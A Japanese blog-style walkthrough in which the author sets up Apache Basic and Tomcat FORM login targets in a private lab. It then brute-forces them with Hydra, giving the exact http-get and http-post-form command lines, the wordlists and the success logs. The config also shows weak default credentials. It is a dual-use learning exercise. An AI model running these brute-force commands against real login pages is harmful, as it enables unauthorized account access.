Hydraを使用した形式的なパスワードクラック検証(HTTP)

# はじめに
Hydra(ヒュドラと読むらしい)を使ったパスワードクラック検証について

色々あってプロジェクトが消失したので自己満足のために書きます。

# 目次

| 目次 |
|:----:|:-------------|
|[今回使用した環境](#環境情報) |
|[アタックしたいもの](#アタックしたいもの) |
|[環境準備(Basic,FORM,Hydra)](#環境準備) |
|[Hydraを実行する](#hydraを実行する) |
|[出典・参考URL](#参考にしたサイト一覧)|


# 環境情報

【攻撃側】
- CentOS Linux release 7.5.1804
- hydra-8.2-1.el7.x86_64

【攻撃対象側】
- CentOS Linux release 7.5.1804
- Apache/2.4.6
- apache-tomcat-8.5.55

# アタックしたいもの
HTTP / Basic認証
HTTP / FORM認証

# 環境準備
#### Basic認証(攻撃対象側)

以下のサイトに詳しく書かれているので本記事ではザックリと。
[apache2.4系でBasic認証 or Digest認証、特定IPアドレスからは認証なしで / mmotoi様](https://qiita.com/mmotoi/items/5d7dcbb9e461feba98cd)

<details><summary>クリックで展開</summary><div>

```

# Webサーバーのインストール
yum -y install httpd

# 確認
httpd -v
Server version: Apache/2.4.6 (CentOS)
Server built:   Apr  2 2020 13:13:23
```

index.htmlにアクセス出来る事を確認
必要に応じてfirewalldやsystemd周りの停止・立ち上げを行う。

```apache

## Basic認証設定

# 認証用のユーザーファイルを作成
$ sudo htpasswd -c /etc/httpd/conf.d/htpasswd <任意のユーザー名>
New password: パスワード入力
Re-type new password: パスワード再入力
Adding password for user xxx

# 作成されたユーザーファイル
$ cat htpasswd
username:password(hash)

# 認証用のコンフィグ
vi auth.conf
<Directory "/var/www/html">
  AuthType Basic
  AuthName "Private Aera"
  AuthUserFile /etc/httpd/conf.d/htpasswd
  Require valid-user
</Directory>

$ pwd
/etc/httpd/conf.d

# リロード
$ apachectl configtest
Syntax OK
$ sudo systemctl reload httpd
```
httpd.confの末尾にある「IncludeOptional conf.d/*.conf」のおかげで、
conf.d以下にあるコンフィグファイルが自動的にロードされる~~らしい~~。
[Apache 2.4 設定 / wreath様](https://qiita.com/wreath/items/2dafcf96b90b701136d0)

</div></details>

出来たものがこちら
![ss3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/653172/0b12abfe-628f-4791-dbdb-c81329d14663.png)


#### FORM認証(攻撃対象側)

以下のサイトに本当に分かりやすく書いてあるので個人的に詰まった所だけ書きます。

[CentOS7でtomcat8構築 / y-araki-qiita様](https://qiita.com/y-araki-qiita/items/644248001de41cbb0388)
[参考サイト(外部) / Javaの道](http://www.javaroad.jp/opensource/js_tomcat10.htm)

<details><summary>クリックで展開</summary><div>
シンボリックリンクの作成が上手くいかず(?)、
systemdからtomcatを呼び出せなかったので以下を修正する。

```bash
$ vi /etc/systemd/system/tomcat.service

-中略-
[Service]
User=tomcat
Group=tomcat
Type=oneshot
PIDFile=/opt/tomcat/tomcat.pid
RemainAfterExit=yes

#以下のように修正
[Service]
User=tomcat
Group=tomcat
Type=oneshot
#PIDFile=/opt/tomcat/tomcat.pid
PIDFile=/opt/apache-tomcat-8.5.55/tomcat.pid
RemainAfterExit=yes
```
認証用ページのコンポーネントを格納するディレクトリを作成

```bash

$ cd /opt/apache-tomcat-8.5.55/webapps

$ sudo mkdir FormAuth
$ cd FormAuth
$ sudo mkdir WEB-INF

# 最終的な構成
$ ls -al /opt/apache-tomcat-8.5.55/webapps/FormAuth
合計 12
drwxr-xr-x. 3 root   root    78  5月 18 17:09 .
drwxr-x---. 8 tomcat tomcat  97  5月 18 16:42 ..
drwxr-xr-x. 2 root   root    21  5月 18 16:45 WEB-INF
-rw-r--r--. 1 root   root   158  5月 18 16:52 login.html
-rw-r--r--. 1 root   root   469  5月 18 16:45 login.jsp
-rw-r--r--. 1 root   root   159  5月 18 17:09 login_err.html
```

・login.jsp

```html
$ vi login.jsp

<html>
<head><title>login page</title></head>
<body>

<form method="post" action='<%= response.encodeURL("j_security_check")%>'>
<table>
    <tr>
        <td>ID</td>
        <td> <input type="text" name="j_username"></td>
    </tr>
    <tr>
        <td>Pass</td>
        <td><input type="password" name="j_password"></td>
    </tr>
</table>
<br>
<input type="submit" value="Login" name="submit">
<input type="reset" value="Reset" name="reset">
</form>

</body>
</html>
```

・login.html

```html
$ vi login.html

<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8" />
<title>login successful</title>
</head>
<body>

ログイン成功です。

</body>
</html>
```

・login_err.html

```html

$ vi login_err.html

<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8" />
<title>login error</title>
</head>
<body>

ログイン情報が不正です

</body>
</html>
```

・web.xml

```xml
$ vi /opt/apache-tomcat-8.5.55/webapps/FormAuth/WEB-INF/web.xml

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD
        Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd">

<web-app>

    <security-constraint>
        <web-resource-collection>
            <web-resource-name>Authentication of FormAuth</web-resource-name>
            <url-pattern>/*</url-pattern>
        </web-resource-collection>
        <auth-constraint>
            <role-name>form</role-name>
        </auth-constraint>
    </security-constraint>

    <login-config>
        <auth-method>FORM</auth-method>
        <form-login-config>
            <form-login-page>/login.jsp</form-login-page>
            <form-error-page>/login_err.html</form-error-page>
        </form-login-config>
    </login-config>

</web-app>
```

・認可するユーザーやロールの設定
ユーザー名：java
パスワード：road

```bash
$ vi /opt/apache-tomcat-8.5.55/conf/tomcat-users.xml

<?xml version='1.0' encoding='utf-8'?>

<tomcat-users>
    <role rolename="tomcat"/>
    <role rolename="role1"/>
    <role rolename="manager"/>
    <role rolename="admin"/>
    <role rolename="form"/>
    <user username="tomcat" password="tomcat" roles="tomcat"/>
    <user username="both" password="tomcat" roles="tomcat,role1"/>
    <user username="role1" password="tomcat" roles="role1"/>
    <user username="admin" password="admin" roles="admin,manager"/>
    <user username="java" password="road" roles="form"/>
```

設定完了後、tomcatの再起動を行いブラウザから以下のURLにアクセスする。
「IPアドレス:8080/FormAuth/login.html」

</div></details>

できたものがこれ
![ss4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/653172/25bb4284-d6f1-dd8c-1a7d-457e2b6ed28f.png)


#### Hydra導入(攻撃側)

前人者の超有益ページ
今回はepelのリポジトリから落としました。

[Centos7.6でHydraを使う / snow_rain000様](https://qiita.com/snow_rain000/items/a22e426c97e35caf8942)
[hydraでブルートフォースアタックをする / shyamahira様](https://qiita.com/shyamahira/items/fdb50f016e0e6c64ed4e)

```bash

# epelリポジトリの追加
$ sudo yum install -y epel-release

# hydraのインストール
$ sudo yum install -y hydra
or 
$ yum --enablerepo=epel install hydra

# インストール確認
$ Hydra
Hydra v8.2-dev (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SOuvVd46] [service://server[:PORT][/OPT]]
--以下略--

```

# Hydraを実行する

・辞書ファイルを用意する
「Crunch」などのコマンドを使用すれば自動で作成できますが、
今回は形式的な検証をしたかったので十数行程度の辞書ファイルを自作しました。

```
$ cat userlist.txt
aaa
java
xxx
bbb
ccc
ddd
root
ftp-user
admin
test

$ cat passlist.txt
aaa
road
ccc
ddd
xxx
eee
fff
admin
hhh
ftp-user
password
abc
edf
ghi
jkl
mno
pqr
stu
vwx
yzz
```

## 対Basic認証

```bash
# 構文
hydra -L <ID辞書ファイル> -P <PW辞書ファイル> <IP> <get|post> <target>

# 実行例
hydra -L userlist.txt -P passlist.txt 192.168.1.200 http-get /index.html
```

```bash

# 実行結果
Hydra v8.2-dev (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2020-06-10 22:44:44
[DATA] max 16 tasks per 1 server, overall 64 tasks, 200 login tries (l:10/p:20), ~0 tries per task
[DATA] attacking service http-get on port 80
DEBUG0: /index.html
DEBUG0: /index.html
~略~
DEBUG0: /index.html
[80][http-get] host: 192.168.1.200   login: xxx   password: xxx
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2020-06-10 22:44:48
```

失敗したときのログはこんな感じ

```
1 of 1 target completed, 0 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2020-06-10 22:55:31
```

## 対FORM認証

```
# 構文
hydra <ID辞書ファイル> -P <PW辞書ファイル> -s <port> <IP> <get|post> '対象URI:ポスト文字列:ログイン失敗時のメッセージ'
```
対象URIやポスト文字列は環境によってそれぞれ異なります。
今回はtomcatのj_security_checkに対してポストを行うので、
ポスト文字列にj_usernameとj_passwordを指定しました。

環境毎にポストに使う変数を調べるという意味では、
Wiresharkなどを併用すると必要な情報が手に入るかと思われます。

※悪用しないでください

```
# 実行例
hydra -L userlist.txt -P passlist.txt -s 8080 192.168.1.200 http-post-form '/FormAuth/j_security_check:j_username=^USER^&j_password=^PASS^:ログイン情報が不正です'
```
実行時ログ

```
Hydra v8.2-dev (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2020-06-10 23:04:58
[DATA] max 16 tasks per 1 server, overall 64 tasks, 200 login tries (l:10/p:20), ~0 tries per task
[DATA] attacking service http-post-form on port 8080
[8080][http-post-form] host: 192.168.1.200   login: java   password: road
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2020-06-10 23:05:04
```
失敗時ログ

```
[DATA] attacking service http-post-form on port 8080
1 of 1 target completed, 0 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2020-06-10 23:12:52
```
# 参考にしたサイト一覧

【Apache】
[apache2.4系でBasic認証 or Digest認証、特定IPアドレスからは認証なしで / mmotoi様](https://qiita.com/mmotoi/items/5d7dcbb9e461feba98cd)
[Apache 2.4 設定 / wreath様](https://qiita.com/wreath/items/2dafcf96b90b701136d0)

【Tomcat】
[CentOS7でtomcat8構築 / y-araki-qiita様](https://qiita.com/y-araki-qiita/items/644248001de41cbb0388)
[Tomcat（１２．FORM認証）/ Javaの道(外部)](http://www.javaroad.jp/opensource/js_tomcat10.htm)
[FORM認証 - ユーザー認証 - サーブレット入門 / Let'sプログラミング(外部)](https://www.javadrive.jp/servlet/auth/index7.html)

【Hydra】
[Centos7.6でHydraを使う / snow_rain000様](https://qiita.com/snow_rain000/items/a22e426c97e35caf8942)
[hydraでブルートフォースアタックをする / shyamahira様](https://qiita.com/shyamahira/items/fdb50f016e0e6c64ed4e)

【その他】
[Qiita Markdownのページ内リンクの罠 / hennin様](https://qiita.com/hennin/items/7ee58dd7d7c013a23be7)

hydra 
Hydra
ブルートフォース
ブルートフォースアタック 
総当たり